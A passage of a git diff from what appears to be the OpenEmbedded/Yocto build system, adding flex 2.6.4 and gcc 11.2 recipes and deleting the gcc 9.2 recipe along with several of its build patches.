- -e 's/^srcdir = \(.*\)/srcdir = ./' -e 's/^top_srcdir = \(.*\)/top_srcdir = ./' \
- -e 's/^builddir = \(.*\)/builddir = ./' -e 's/^top_builddir = \(.*\)/top_builddir = ./' \
- -i ${D}${PTEST_PATH}/Makefile
-}
-
-# Not Apache Flex, or Adobe Flex, or IBM Flex.
-CVE_PRODUCT = "flex_project:flex"
diff --git a/meta/recipes-devtools/flex/flex_2.6.4.bb b/meta/recipes-devtools/flex/flex_2.6.4.bb
new file mode 100644
index 0000000000..c7cd965347
--- /dev/null
+++ b/meta/recipes-devtools/flex/flex_2.6.4.bb
@@ -0,0 +1,85 @@
+SUMMARY = "Flex (The Fast Lexical Analyzer)"
+DESCRIPTION = "Flex is a fast lexical analyser generator. Flex is a tool for generating programs that recognize \
+lexical patterns in text."
+HOMEPAGE = "http://sourceforge.net/projects/flex/"
+SECTION = "devel"
+LICENSE = "BSD-3-Clause & LGPL-2.0-or-later"
+LICENSE:${PN}-libfl = "BSD-3-Clause"
+
+DEPENDS = "${@bb.utils.contains('PTEST_ENABLED', '1', 'bison-native flex-native', '', d)}"
+BBCLASSEXTEND = "native nativesdk"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=e4742cf92e89040b39486a6219b68067 \
+ file://src/gettext.h;beginline=1;endline=17;md5=9c05dda2f58d89b850c399cf22e1a00c"
+
+SRC_URI = "https://github.com/westes/flex/releases/download/v${PV}/flex-${PV}.tar.gz \
+ file://run-ptest \
+ file://0001-tests-add-a-target-for-building-tests-without-runnin.patch \
+ ${@bb.utils.contains('PTEST_ENABLED', '1', '', 'file://disable-tests.patch', d)} \
+ file://0001-build-AC_USE_SYSTEM_EXTENSIONS-in-configure.ac.patch \
+ file://check-funcs.patch \
+ file://0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch \
+ "
+
+SRC_URI[md5sum] = "2882e3179748cc9f9c23ec593d6adc8d"
+SRC_URI[sha256sum] = "e87aae032bf07c26f85ac0ed3250998c37621d95f8bd748b31f15b33c45ee995"
+
+# Flex has moved to github from 2.6.1 onwards
+UPSTREAM_CHECK_URI = "https://github.com/westes/flex/releases"
+UPSTREAM_CHECK_REGEX = "flex-(?P<pver>\d+(\.\d+)+)\.tar"
+
+# Disputed - yes there is stack exhaustion but no bug and it is building the
+# parser, not running it, effectively similar to a compiler ICE. Upstream no plans to address
+# https://github.com/westes/flex/issues/414
+CVE_CHECK_IGNORE += "CVE-2019-6293"
+
+inherit autotools gettext texinfo ptest
+
+M4 = "${bindir}/m4"
+M4:class-native = "${STAGING_BINDIR_NATIVE}/m4"
+EXTRA_OECONF += "ac_cv_path_M4=${M4} ac_cv_func_reallocarray=no"
+EXTRA_OEMAKE += "m4=${STAGING_BINDIR_NATIVE}/m4"
+
+EXTRA_OEMAKE += "${@bb.utils.contains('PTEST_ENABLED', '1', 'FLEX=${STAGING_BINDIR_NATIVE}/flex', '', d)}"
+
+do_install:append:class-native() {
+ create_wrapper ${D}/${bindir}/flex M4=${M4}
+}
+
+do_install:append:class-nativesdk() {
+ create_wrapper ${D}/${bindir}/flex M4=${M4}
+}
+
+PACKAGES =+ "${PN}-libfl"
+
+FILES:${PN}-libfl = "${libdir}/libfl.so.* ${libdir}/libfl_pic.so.*"
+
+RDEPENDS:${PN} += "m4"
+RDEPENDS:${PN}-ptest += "bash gawk make"
+
+do_compile_ptest() {
+ oe_runmake -C ${B}/tests -f ${B}/tests/Makefile top_builddir=${B} INCLUDES=-I${S}/src buildtests
+}
+
+do_install_ptest() {
+ mkdir -p ${D}${PTEST_PATH}/build-aux/
+ cp ${S}/build-aux/test-driver ${D}${PTEST_PATH}/build-aux/
+ cp -r ${S}/tests/* ${D}${PTEST_PATH}
+ cp -r ${B}/tests/* ${D}${PTEST_PATH}
+ sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \-e 's/^Makefile:/_Makefile:/' \
+ -e 's/^srcdir = \(.*\)/srcdir = ./' -e 's/^top_srcdir = \(.*\)/top_srcdir = ./' \
+ -e 's/^builddir = \(.*\)/builddir = ./' -e 's/^top_builddir = \(.*\)/top_builddir = ./' \
+ -e 's:${UNINATIVE_LOADER}:${base_bindir}/false:g' \
+ -i ${D}${PTEST_PATH}/Makefile
+}
+# The uninative loader is different on i386 & x86_64 hosts. Since it is only
+# being replaced with /bin/false anyway, it doesn't need to be part of the task
+# hash
+do_install_ptest[vardepsexclude] += "UNINATIVE_LOADER"
+
+# Not Apache Flex, or Adobe Flex, or IBM Flex.
+CVE_PRODUCT = "flex_project:flex"
diff --git a/meta/recipes-devtools/gcc/gcc-11.2.inc b/meta/recipes-devtools/gcc/gcc-11.2.inc
new file mode 100644
index 0000000000..2394c86e29
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc-11.2.inc
@@ -0,0 +1,122 @@
+require gcc-common.inc
+
+# Third digit in PV should be incremented after a minor release
+
+PV = "11.2.0"
+
+# BINV should be incremented to a revision after a minor gcc release
+
+BINV = "11.2.0"
+
+FILESEXTRAPATHS =. "${FILE_DIRNAME}/gcc:${FILE_DIRNAME}/gcc/backport:"
+
+DEPENDS =+ "mpfr gmp libmpc zlib flex-native"
+NATIVEDEPS = "mpfr-native gmp-native libmpc-native zlib-native flex-native"
+
+LICENSE = "GPL-3.0-with-GCC-exception & GPL-3.0-only"
+
+LIC_FILES_CHKSUM = "\
+ file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
+ file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
+ file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
+ file://COPYING.RUNTIME;md5=fe60d87048567d4fe8c8a0ed2448bcc8 \
+"
+
+#RELEASE ?= "5b2ac9b40c325e9209c0bd55955db84aad4a0cc5"
+#BASEURI ?= "https://github.com/gcc-mirror/gcc/archive/${RELEASE}.zip;downloadfilename=gcc-${PV}-${RELEASE}.zip"
+
+BASEURI ?= "${GNU_MIRROR}/gcc/gcc-${PV}/gcc-${PV}.tar.xz \
+ "
+SRC_URI = "\
+ ${BASEURI} \
+ file://0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch \
+ file://0002-gcc-poison-system-directories.patch \
+ file://0004-64-bit-multilib-hack.patch \
+ file://0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch \
+ file://0009-cpp-honor-sysroot.patch \
+ file://0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch \
+ file://0012-gcc-Fix-argument-list-too-long-error.patch \
+ file://0014-libtool.patch \
+ file://0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch \
+ file://0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch \
+ file://0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch \
+ file://0018-export-CPP.patch \
+ file://0019-Ensure-target-gcc-headers-can-be-included.patch \
+ file://0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch \
+ file://0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch \
+ file://0024-handle-sysroot-support-for-nativesdk-gcc.patch \
+ file://0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch \
+ file://0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch \
+ file://0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch \
+ file://0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch \
+ file://0030-sync-gcc-stddef.h-with-musl.patch \
+ file://0033-Re-introduce-spe-commandline-options.patch \
+ file://0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch \
+ file://0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch \
+ file://0036-mingw32-Enable-operation_not_supported.patch \
+ file://0037-libatomic-Do-not-enforce-march-on-aarch64.patch \
+ file://0041-apply-debug-prefix-maps-before-checksumming-DIEs.patch \
+ file://0006-If-CXXFLAGS-contains-something-unsupported-by-the-bu.patch \
+ file://0001-Fix-install-path-of-linux64.h.patch \
+ file://0001-CVE-2021-35465.patch \
+ file://0002-CVE-2021-35465.patch \
+ file://0003-CVE-2021-35465.patch \
+ file://0004-CVE-2021-35465.patch \
+ file://0001-CVE-2021-42574.patch \
+ file://0002-CVE-2021-42574.patch \
+ file://0003-CVE-2021-42574.patch \
+ file://0004-CVE-2021-42574.patch \
+ file://0001-CVE-2021-46195.patch \
+"
+SRC_URI[sha256sum] = "d08edc536b54c372a1010ff6619dd274c0f1603aa49212ba20f7aa2cda36fa8b"
+
+S = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/gcc-${PV}"
+
+# For dev release snapshotting
+#S = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/gcc-${RELEASE}"
+#B = "${WORKDIR}/gcc-${PV}/build.${HOST_SYS}.${TARGET_SYS}"
+
+# Language Overrides
+FORTRAN = ""
+JAVA = ""
+
+SSP ?= "--disable-libssp"
+SSP:mingw32 = "--enable-libssp"
+
+EXTRA_OECONF_BASE = "\
+ ${SSP} \
+ --enable-libitm \
+ --enable-lto \
+ --disable-bootstrap \
+ --with-system-zlib \
+ ${@'--with-linker-hash-style=${LINKER_HASH_STYLE}' if '${LINKER_HASH_STYLE}' else ''} \
+ --enable-linker-build-id \
+ --with-ppl=no \
+ --with-cloog=no \
+ --enable-checking=release \
+ --enable-cheaders=c_global \
+ --without-isl \
+"
+
+EXTRA_OECONF_INITIAL = "\
+ --disable-libgomp \
+ --disable-libitm \
+ --disable-libquadmath \
+ --with-system-zlib \
+ --disable-lto \
+ --disable-plugin \
+ --enable-linker-build-id \
+ --enable-decimal-float=no \
+ --without-isl \
+ --disable-libssp \
+"
+
+EXTRA_OECONF_PATHS = "\
+ --with-gxx-include-dir=/not/exist{target_includedir}/c++/${BINV} \
+ --with-sysroot=/not/exist \
+ --with-build-sysroot=${STAGING_DIR_TARGET} \
+"
+
+# Is a binutils 2.26 issue, not gcc
+CVE_CHECK_IGNORE += "CVE-2021-37322"
diff --git a/meta/recipes-devtools/gcc/gcc-9.2.inc b/meta/recipes-devtools/gcc/gcc-9.2.inc
deleted file mode 100644
index c6395998d5..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2.inc
+++ /dev/null
@@ -1,122 +0,0 @@
-require gcc-common.inc
-
-# Third digit in PV should be incremented after a minor release
-
-PV = "9.2.0"
-
-# BINV should be incremented to a revision after a minor gcc release
-
-BINV = "9.2.0"
-
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/gcc-9.2:${FILE_DIRNAME}/gcc-9.2/backport:"
-
-DEPENDS =+ "mpfr gmp libmpc zlib flex-native"
-NATIVEDEPS = "mpfr-native gmp-native libmpc-native zlib-native flex-native"
-
-LICENSE = "GPL-3.0-with-GCC-exception & GPLv3"
-
-LIC_FILES_CHKSUM = "\
- file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
- file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
- file://COPYING.RUNTIME;md5=fe60d87048567d4fe8c8a0ed2448bcc8 \
-"
-
-BASEURI ?= "${GNU_MIRROR}/gcc/gcc-${PV}/gcc-${PV}.tar.xz"
-#RELEASE ?= "5a5ca2d"
-#BASEURI ?= "https://repo.or.cz/official-gcc.git/snapshot/${RELEASE}.tar.gz;downloadfilename=gcc-${RELEASE}.tar.gz"
-SRC_URI = "\
- ${BASEURI} \
- file://0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch \
- file://0002-gcc-poison-system-directories.patch \
- file://0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch \
- file://0004-64-bit-multilib-hack.patch \
- file://0005-optional-libstdc.patch \
- file://0006-COLLECT_GCC_OPTIONS.patch \
- file://0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch \
- file://0008-fortran-cross-compile-hack.patch \
- file://0009-cpp-honor-sysroot.patch \
- file://0010-MIPS64-Default-to-N64-ABI.patch \
- file://0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch \
- file://0012-gcc-Fix-argument-list-too-long-error.patch \
- file://0013-Disable-sdt.patch \
- file://0014-libtool.patch \
- file://0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch \
- file://0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch \
- file://0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch \
- file://0018-export-CPP.patch \
- file://0019-Ensure-target-gcc-headers-can-be-included.patch \
- file://0020-gcc-4.8-won-t-build-with-disable-dependency-tracking.patch \
- file://0021-Don-t-search-host-directory-during-relink-if-inst_pr.patch \
- file://0022-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch \
- file://0023-aarch64-Add-support-for-musl-ldso.patch \
- file://0024-libcc1-fix-libcc1-s-install-path-and-rpath.patch \
- file://0025-handle-sysroot-support-for-nativesdk-gcc.patch \
- file://0026-Search-target-sysroot-gcc-version-specific-dirs-with.patch \
- file://0027-Fix-various-_FOR_BUILD-and-related-variables.patch \
- file://0028-nios2-Define-MUSL_DYNAMIC_LINKER.patch \
- file://0029-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch \
- file://0030-libgcc-Add-knob-to-use-ldbl-128-on-ppc.patch \
- file://0031-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch \
- file://0032-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch \
- file://0033-sync-gcc-stddef.h-with-musl.patch \
- file://0034-fix-segmentation-fault-in-precompiled-header-generat.patch \
- file://0035-Fix-for-testsuite-failure.patch \
- file://0036-Re-introduce-spe-commandline-options.patch \
- file://CVE-2019-14250.patch \
- file://CVE-2019-15847_1.patch \
- file://CVE-2019-15847_2.patch \
- file://CVE-2019-15847_3.patch \
-"
-S = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/gcc-${PV}"
-SRC_URI[md5sum] = "3818ad8600447f05349098232c2ddc78"
-SRC_URI[sha256sum] = "ea6ef08f121239da5695f76c9b33637a118dcf63e24164422231917fa61fb206"
-
-# For dev release snapshotting
-#S = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/official-gcc-${RELEASE}"
-#B = "${WORKDIR}/gcc-${PV}/build.${HOST_SYS}.${TARGET_SYS}"
-
-# Language Overrides
-FORTRAN = ""
-JAVA = ""
-
-LTO = "--enable-lto"
-SSP ?= "--disable-libssp"
-SSP_mingw32 = "--enable-libssp"
-
-EXTRA_OECONF_BASE = "\
- ${LTO} \
- ${SSP} \
- --enable-libitm \
- --disable-bootstrap \
- --disable-libmudflap \
- --with-system-zlib \
- ${@'--with-linker-hash-style=${LINKER_HASH_STYLE}' if '${LINKER_HASH_STYLE}' else ''} \
- --enable-linker-build-id \
- --with-ppl=no \
- --with-cloog=no \
- --enable-checking=release \
- --enable-cheaders=c_global \
- --without-isl \
-"
-
-EXTRA_OECONF_INITIAL = "\
- --disable-libmudflap \
- --disable-libgomp \
- --disable-libitm \
- --disable-libquadmath \
- --with-system-zlib \
- --disable-lto \
- --disable-plugin \
- --enable-linker-build-id \
- --enable-decimal-float=no \
- --without-isl \
- --disable-libssp \
-"
-
-EXTRA_OECONF_PATHS = "\
- --with-gxx-include-dir=/not/exist{target_includedir}/c++/${BINV} \
- --with-sysroot=/not/exist \
- --with-build-sysroot=${STAGING_DIR_TARGET} \
-"
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0002-gcc-poison-system-directories.patch b/meta/recipes-devtools/gcc/gcc-9.2/0002-gcc-poison-system-directories.patch
deleted file mode 100644
index a1116e7509..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0002-gcc-poison-system-directories.patch
+++ /dev/null
@@ -1,203 +0,0 @@
-From 68e78bc15de215fa15c7d8b56bd2e2b0539b34fa Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 08:59:00 +0400
-Subject: [PATCH 02/36] gcc: poison-system-directories
-
-Add /sw/include and /opt/include based on the original
-zecke-no-host-includes.patch patch. The original patch checked for
-/usr/include, /sw/include and /opt/include and then triggered a failure and
-aborted.
-
-Instead, we add the two missing items to the current scan. If the user
-wants this to be a failure, they can add "-Werror=poison-system-directories".
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- gcc/common.opt | 4 ++++
- gcc/config.in | 6 ++++++
- gcc/configure | 16 ++++++++++++++++
- gcc/configure.ac | 10 ++++++++++
- gcc/doc/invoke.texi | 9 +++++++++
- gcc/gcc.c | 2 ++
- gcc/incpath.c | 21 +++++++++++++++++++++
- 7 files changed, 68 insertions(+)
-
-diff --git a/gcc/common.opt b/gcc/common.opt
-index d342c4f3749..c64fd4a6c50 100644
---- a/gcc/common.opt
-+++ b/gcc/common.opt
-@@ -684,6 +684,10 @@ Wreturn-local-addr
- Common Var(warn_return_local_addr) Init(1) Warning
- Warn about returning a pointer/reference to a local or temporary variable.
-
-+Wpoison-system-directories
-+Common Var(flag_poison_system_directories) Init(1) Warning
-+Warn for -I and -L options using system directories if cross compiling
-+
- Wshadow
- Common Var(warn_shadow) Warning
- Warn when one variable shadows another. Same as -Wshadow=global.
-diff --git a/gcc/config.in b/gcc/config.in
-index a718ceaf3da..5713342efb1 100644
---- a/gcc/config.in
-+++ b/gcc/config.in
-@@ -200,6 +200,12 @@
- #endif
-
-
-+/* Define to warn for use of native system header directories */
-+#ifndef USED_FOR_TARGET
-+#undef ENABLE_POISON_SYSTEM_DIRECTORIES
-+#endif
-+
-+
- /* Define if you want all operations on RTL (the basic data structure of the
- optimizer and back end) to be checked for dynamic type safety at runtime.
- This is quite expensive. */
-diff --git a/gcc/configure b/gcc/configure
-index 481071b4265..a6ea3a8a84c 100755
---- a/gcc/configure
-+++ b/gcc/configure
-@@ -995,6 +995,7 @@ with_system_zlib
- enable_maintainer_mode
- enable_link_mutex
- enable_version_specific_runtime_libs
-+enable_poison_system_directories
- enable_plugin
- enable_host_shared
- enable_libquadmath_support
-@@ -1748,6 +1749,8 @@ Optional Features:
- --enable-version-specific-runtime-libs
- specify that runtime libraries should be installed
- in a compiler-specific directory
-+ --enable-poison-system-directories
-+ warn for use of native system header directories
- --enable-plugin enable plugin support
- --enable-host-shared build host code as shared libraries
- --disable-libquadmath-support
-@@ -29750,6 +29753,19 @@ if test "${enable_version_specific_runtime_libs+set}" = set; then :
- fi
-
-
-+# Check whether --enable-poison-system-directories was given.
-+if test "${enable_poison_system_directories+set}" = set; then :
-+ enableval=$enable_poison_system_directories;
-+else
-+ enable_poison_system_directories=no
-+fi
-+
-+if test "x${enable_poison_system_directories}" = "xyes"; then
-+
-+$as_echo "#define ENABLE_POISON_SYSTEM_DIRECTORIES 1" >>confdefs.h
-+
-+fi
-+
- # Substitute configuration variables
-
-
-diff --git a/gcc/configure.ac b/gcc/configure.ac
-index ce2825580c6..d42bbd4fd1c 100644
---- a/gcc/configure.ac
-+++ b/gcc/configure.ac
-@@ -6378,6 +6378,16 @@ AC_ARG_ENABLE(version-specific-runtime-libs,
- [specify that runtime libraries should be
- installed in a compiler-specific directory])])
-
-+AC_ARG_ENABLE([poison-system-directories],
-+ AS_HELP_STRING([--enable-poison-system-directories],
-+ [warn for use of native system header directories]),,
-+ [enable_poison_system_directories=no])
-+if test "x${enable_poison_system_directories}" = "xyes"; then
-+ AC_DEFINE([ENABLE_POISON_SYSTEM_DIRECTORIES],
-+ [1],
-+ [Define to warn for use of native system header directories])
-+fi
-+
- # Substitute configuration variables
- AC_SUBST(subdirs)
- AC_SUBST(srcdir)
-diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
-index 6ef36ce02aa..09414d8cc05 100644
---- a/gcc/doc/invoke.texi
-+++ b/gcc/doc/invoke.texi
-@@ -332,6 +332,7 @@ Objective-C and Objective-C++ Dialects}.
- -Wpacked -Wpacked-bitfield-compat -Wpacked-not-aligned -Wpadded @gol
- -Wparentheses -Wno-pedantic-ms-format @gol
- -Wplacement-new -Wplacement-new=@var{n} @gol
-+-Wno-poison-system-directories @gol
- -Wpointer-arith -Wpointer-compare -Wno-pointer-to-int-cast @gol
- -Wno-pragmas -Wno-prio-ctor-dtor -Wredundant-decls @gol
- -Wrestrict -Wno-return-local-addr @gol
-@@ -6289,6 +6290,14 @@ made up of data only and thus requires no special treatment. But, for
- most targets, it is made up of code and thus requires the stack to be
- made executable in order for the program to work properly.
-
-+@item -Wno-poison-system-directories
-+@opindex Wno-poison-system-directories
-+Do not warn for @option{-I} or @option{-L} options using system
-+directories such as @file{/usr/include} when cross compiling. This
-+option is intended for use in chroot environments when such
-+directories contain the correct headers and libraries for the target
-+system rather than the host.
-+
- @item -Wfloat-equal
- @opindex Wfloat-equal
- @opindex Wno-float-equal
-diff --git a/gcc/gcc.c b/gcc/gcc.c
-index 4f57765b012..a2601a6bb06 100644
---- a/gcc/gcc.c
-+++ b/gcc/gcc.c
-@@ -1042,6 +1042,8 @@ proper position among the other output files. */
- "%{fuse-ld=*:-fuse-ld=%*} " LINK_COMPRESS_DEBUG_SPEC \
- "%X %{o*} %{e*} %{N} %{n} %{r}\
- %{s} %{t} %{u*} %{z} %{Z} %{!nostdlib:%{!r:%{!nostartfiles:%S}}} \
-+ %{Wno-poison-system-directories:--no-poison-system-directories} \
-+ %{Werror=poison-system-directories:--error-poison-system-directories} \
- %{static|no-pie|static-pie:} %@{L*} %(mfwrap) %(link_libgcc) " \
- VTABLE_VERIFICATION_SPEC " " SANITIZER_EARLY_SPEC " %o "" \
- %{fopenacc|fopenmp|%:gt(%{ftree-parallelize-loops=*:%*} 1):\
-diff --git a/gcc/incpath.c b/gcc/incpath.c
-index bcbe2082905..5752298bbf2 100644
---- a/gcc/incpath.c
-+++ b/gcc/incpath.c
-@@ -26,6 +26,7 @@
- #include "intl.h"
- #include "incpath.h"
- #include "cppdefault.h"
-+#include "diagnostic-core.h"
-
- /* Microsoft Windows does not natively support inodes.
- VMS has non-numeric inodes. */
-@@ -393,6 +394,26 @@ merge_include_chains (const char *sysroot, cpp_reader *pfile, int verbose)
- }
- fprintf (stderr, _("End of search list.\n"));
- }
-+
-+#ifdef ENABLE_POISON_SYSTEM_DIRECTORIES
-+ if (flag_poison_system_directories)
-+ {
-+ struct cpp_dir *p;
-+
-+ for (p = heads[INC_QUOTE]; p; p = p->next)
-+ {
-+ if ((!strncmp (p->name, "/usr/include", 12))
-+ || (!strncmp (p->name, "/usr/local/include", 18))
-+ || (!strncmp (p->name, "/usr/X11R6/include", 18))
-+ || (!strncmp (p->name, "/sw/include", 11))
-+ || (!strncmp (p->name, "/opt/include", 12)))
-+ warning (OPT_Wpoison_system_directories,
-+ "include location \"%s\" is unsafe for "
-+ "cross-compilation",
-+ p->name);
-+ }
-+ }
-+#endif
- }
-
- /* Use given -I paths for #include "..." but not #include <...>, and
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch b/meta/recipes-devtools/gcc/gcc-9.2/0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch
deleted file mode 100644
index 23039d2123..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch
+++ /dev/null
@@ -1,73 +0,0 @@
-From f8d60c4114acb92361c7b2f4a4561d4661e8da9d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:08:31 +0400
-Subject: [PATCH 03/36] gcc-4.3.3: SYSROOT_CFLAGS_FOR_TARGET
-
-Before committing, I noticed that PR/32161 was marked as a dup of PR/32009, but my previous patch did not fix it.
-
-This alternative patch is better because it lets you just use CFLAGS_FOR_TARGET to set the compilation flags for libgcc. Since bootstrapped target libraries are never compiled with the native compiler, it makes little sense to use different flags for stage1 and later stages. And it also makes little sense to use a different variable than CFLAGS_FOR_TARGET.
-
-Other changes I had to do include:
-
-- moving the creation of default CFLAGS_FOR_TARGET from Makefile.am to configure.ac, because otherwise the BOOT_CFLAGS are substituted into CFLAGS_FOR_TARGET (which is "-O2 -g $(CFLAGS)") via $(CFLAGS). It is also cleaner this way though.
-
-- passing the right CFLAGS to configure scripts as exported environment variables
-
-I also stopped passing LIBCFLAGS to configure scripts since they are unused in the whole src tree. And I updated the documentation as H-P reminded me to do.
-
-Bootstrapped/regtested i686-pc-linux-gnu, will commit to 4.4 shortly. Ok for 4.3?
-
-Signed-off-by: Paolo Bonzini <bonzini@gnu.org>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Pending
----
- configure | 32 ++++++++++++++++++++++++++++++++
- 1 file changed, 32 insertions(+)
-
-diff --git a/configure b/configure
-index b121088d778..93aae5bb26f 100755
---- a/configure
-+++ b/configure
-@@ -6864,6 +6864,38 @@ fi
-
-
-
-+# During gcc bootstrap, if we use some random cc for stage1 then CFLAGS
-+# might be empty or "-g". We don't require a C++ compiler, so CXXFLAGS
-+# might also be empty (or "-g", if a non-GCC C++ compiler is in the path).
-+# We want to ensure that TARGET libraries (which we know are built with
-+# gcc) are built with "-O2 -g", so include those options when setting
-+# CFLAGS_FOR_TARGET and CXXFLAGS_FOR_TARGET.
-+if test "x$CFLAGS_FOR_TARGET" = x; then
-+ CFLAGS_FOR_TARGET=$CFLAGS
-+ case " $CFLAGS " in
-+ *" -O2 "*) ;;
-+ *) CFLAGS_FOR_TARGET="-O2 $CFLAGS" ;;
-+ esac
-+ case " $CFLAGS " in
-+ *" -g "* | *" -g3 "*) ;;
-+ *) CFLAGS_FOR_TARGET="-g $CFLAGS" ;;
-+ esac
-+fi
-+
-+
-+if test "x$CXXFLAGS_FOR_TARGET" = x; then
-+ CXXFLAGS_FOR_TARGET=$CXXFLAGS
-+ case " $CXXFLAGS " in
-+ *" -O2 "*) ;;
-+ *) CXXFLAGS_FOR_TARGET="-O2 $CXXFLAGS" ;;
-+ esac
-+ case " $CXXFLAGS " in
-+ *" -g "* | *" -g3 "*) ;;
-+ *) CXXFLAGS_FOR_TARGET="-g $CXXFLAGS" ;;
-+ esac
-+fi
-+
-+
- # Handle --with-headers=XXX. If the value is not "yes", the contents of
- # the named directory are copied to $(tooldir)/sys-include.
- if test x"${with_headers}" != x && test x"${with_headers}" != xno ; then
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0005-optional-libstdc.patch b/meta/recipes-devtools/gcc/gcc-9.2/0005-optional-libstdc.patch
deleted file mode 100644
index f4fac91467..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/0005-optional-libstdc.patch
+++ /dev/null
@@ -1,125 +0,0 @@
-From e7e504f4a90cfa395e7f8ee779f8c3ed687802ca Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:12:56 +0400
-Subject: [PATCH 05/36] optional libstdc
-
-gcc-runtime builds libstdc++ separately from gcc-cross-*. Its configure tests using g++
-will not run correctly since by default the linker will try to link against libstdc++
-which shouldn't exist yet. We need an option to disable -lstdc++
-option whilst leaving -lc, -lgcc and other automatic library dependencies added by gcc
-driver. This patch adds such an option which only disables the -lstdc++.
-
-A "standard" gcc build uses xgcc and hence avoids this. We should ask upstream how to
-do this officially, the likely answer is don't build libstdc++ separately.
-
-RP 29/6/10
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Upstream-Status: Inappropriate [embedded specific]
----
- gcc/c-family/c.opt | 4 ++++
- gcc/cp/g++spec.c | 1 +
- gcc/doc/invoke.texi | 32 +++++++++++++++++++++++++++++++-
- gcc/gcc.c | 1 +
- 4 files changed, 37 insertions(+), 1 deletion(-)
-
-diff --git a/gcc/c-family/c.opt b/gcc/c-family/c.opt
-index 916cc67b453..41619fa591c 100644
---- a/gcc/c-family/c.opt
-+++ b/gcc/c-family/c.opt
-@@ -1952,6 +1952,10 @@ nostdinc++
- C++ ObjC++
- Do not search standard system include directories for C++.
-
-+nostdlib++
-+Driver
-+Do not link standard C++ runtime library
-+
- o
- C ObjC C++ ObjC++ Joined Separate
- ; Documented in common.opt
-diff --git a/gcc/cp/g++spec.c b/gcc/cp/g++spec.c
-index 6c4574a837d..0e2657f00ee 100644
---- a/gcc/cp/g++spec.c
-+++ b/gcc/cp/g++spec.c
-@@ -137,6 +137,7 @@ lang_specific_driver (struct cl_decoded_option **in_decoded_options,
- switch (decoded_options[i].opt_index)
- {
- case OPT_nostdlib:
-+ case OPT_nostdlib__:
- case OPT_nodefaultlibs:
- library = -1;
- break;
-diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
-index 09414d8cc05..a43969bc9f0 100644
---- a/gcc/doc/invoke.texi
-+++ b/gcc/doc/invoke.texi
-@@ -228,6 +228,9 @@ in the following sections.
- -fno-weak -nostdinc++ @gol
- -fvisibility-inlines-hidden @gol
- -fvisibility-ms-compat @gol
-+-fvtable-verify=@r{[}std@r{|}preinit@r{|}none@r{]} @gol
-+-fvtv-counts -fvtv-debug @gol
-+-nostdlib++ @gol
